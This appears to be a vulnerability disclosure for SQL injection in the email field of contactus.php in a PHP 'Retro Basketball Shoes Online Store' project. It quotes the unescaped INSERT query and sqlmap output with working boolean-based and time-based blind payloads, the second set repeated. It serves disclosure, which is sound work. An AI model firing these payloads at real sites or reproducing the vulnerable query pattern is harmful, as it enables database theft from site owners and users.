SQL injection vulnerability exists in email parameter of contactus.php file of Retro Basketball Shoes Online Store

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
130             if(isset($POST['send']));
131             {
132                 @$email = $_POST['email'];
133                 @$message = $_POST['message'];
134
135                 $conn->query ("INSERT INTO `contact` (email, message) VALUES ('$email', '$message')") or die (mysqli_error());
136             }
137         ?>
```

```
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: MULTIPART email ((custom) POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: ------------YWJkMTQzNDcw
Content-Disposition: form-data; name="email"

0' RLIKE (SELECT (CASE WHEN (3878=3878) THEN 0 ELSE 0x28 END)) AND 'eEqI'='eEqI
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="message"

20
------------YWJkMTQzNDcw--

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)
    Payload: ------------YWJkMTQzNDcw
Content-Disposition: form-data; name="email"

0' OR (SELECT 9812 FROM (SELECT(SLEEP(5)))Ukif) AND 'SjRp'='SjRp
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="message"

20
------------YWJkMTQzNDcw--
---
```

“

Parameter: MULTIPART email ((custom) POST)

Type: boolean-based blind

Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause

Payload: ------------YWJkMTQzNDcw

Content-Disposition: form-data; name="email"

0' RLIKE (SELECT (CASE WHEN (3878=3878) THEN 0 ELSE 0x28 END)) AND 'eEqI'='eEqI

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="message"

20

------------YWJkMTQzNDcw--

Type: time-based blind

Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)

Payload: ------------YWJkMTQzNDcw

Content-Disposition: form-data; name="email"

0' OR (SELECT 9812 FROM (SELECT(SLEEP(5)))Ukif) AND 'SjRp'='SjRp
----------YWJkMTQzNDcw
Content-Disposition: form-data; name="message"

20
----------YWJkMTQzNDcw--

“

Source Download：
https://www.campcodes.com/projects/php/retro-basketball-shoes-online-store-in-php-mysql/